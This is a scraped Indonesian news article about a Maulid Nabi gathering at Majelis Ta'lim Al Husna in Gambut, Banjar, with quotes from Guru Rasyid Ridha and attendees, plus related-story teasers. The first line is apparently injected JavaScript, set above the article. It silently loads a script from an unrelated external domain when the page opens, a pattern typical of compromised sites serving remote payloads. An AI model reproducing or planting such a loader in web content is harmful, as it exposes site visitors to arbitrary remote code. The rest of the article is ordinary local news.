(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM MARTAPURA – Peringatan Maulid Nabi Muhammad SAW bersama Guru HM Rasyid Ridha berlangsung di Majelis Ta’lim Al Husna Komplek Lutfia Tunggal Gambut, Kecamatan Gambut, Kabupaten Banjar.
Pengajian rutinan hari Kamis jemaah perempuan asuhan Guru Rasyid Ridha ini dipenuhi warga bertepatan dengan 12 Rabiul Awal 1445 hijriyah, tepat pada peringatan Hari Lahir Nabi Muhammad SAW.
Acara diawali dengan pembacaan maulid Simtuth Durror -salah satu karya sastra berupa biografi Nabi Muhammad SAW saat masa hidup hingga wafat-. Pembacaan Maulid Habsyi dibawakan grup maulid Zahrotul Abyadha, kemudian pembacaan Ayat-Ayat Al Qur’an oleh Aqilla Mardiah, anak perempuan masih berusia 8 tahun. Dengan suara merdu dan indah, semua jemaah larut mendengarkannya.
Baca juga: Ragam Acara Warnai Expo Milad ke-31 STIA Amuntai
Kemudian dilanjutkan dengan mauizih hasanah oleha Guru Rasyid Ridha –biasa disapa-, semua jamaah mendengarkan dengan semua yang disampaikan.
“Kita bersyukur kepada Allah SWT, yang mana pada Hari Mulia ini yaitu 12 Rabiul Awal, kita dapat berkumpul bermajelis, mudah-mudahan hari ini menjadi sebab kita mendapat syafaat dari pada Rasulullah SAW,” kata Guru Rasyid Ridha.
“Dengan kita memperingati Maulid Nabi Muhammad SAW, keluarga kita berkah, kampung kita dijaga dari bala musibah, disehatkan badan,” kata Guru Rasyid Ridha dalam doanya.
Baca juga: Paling Agung Akhlaknya, Habib Jindan: Dicaci Disakiti, Dibalas Nabi dengan Doa
Sepanjang jalan Komplek Lutfia tak hanya dipenuhi jemaah, berkah roda ekonomi juga dirasakan para pedagang yang berjualan beraneka ragam makanan, pakaian hingga mainan anak-anak. Ada jemaah yang berbelanja dulu, ada juga yang langsung menuju majelis maulid.
“Kami berangkat setengah tujuh dari rumah, tiba sekitar jam setengah delapan di majelis, berangkat bersama kawan sekampung menggunakan taksi, dengan membayar Rp 25 ribu pulang pergi dari Alalak ke majelis Gambut. Rutin kami datang ke majelis ini untuk memperoleh ilmu agama. Sejak dari pengajian Tuan Guru Akhmad Bakeri hingga pengajian yang diteruskan oleh anak beliau Guru Rasyid Ridha,” aku Jumriah (60), salah satu jemaah dari Alalak Berangas, Banjarmasin.
Ruang majelis dua lanti dipenuhi oleh ibu-ibu, dari lantai dasar hingga di lantai dua. Juga ada jemaah laki-laki di luar ruangan menyaksikan dari live streaming televisi.
Baca juga: Kualitas Udara di Banjarmasin Sangat Tidak Sehat
“Pengajian rutin biasanya digelar seperti biasa, diawali dengan wiridan hingga ceramah dari Guru Rasyid Ridha. Karena hari ini tepat 12 rabiul awal, jadi hari ini di pengajian juga memperingati maulid Nabi Muhammad SAW,” kata Hafidzah (19), jamaah dari Sungai Tabuk yang datang bersama ibunya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
This website uses cookies.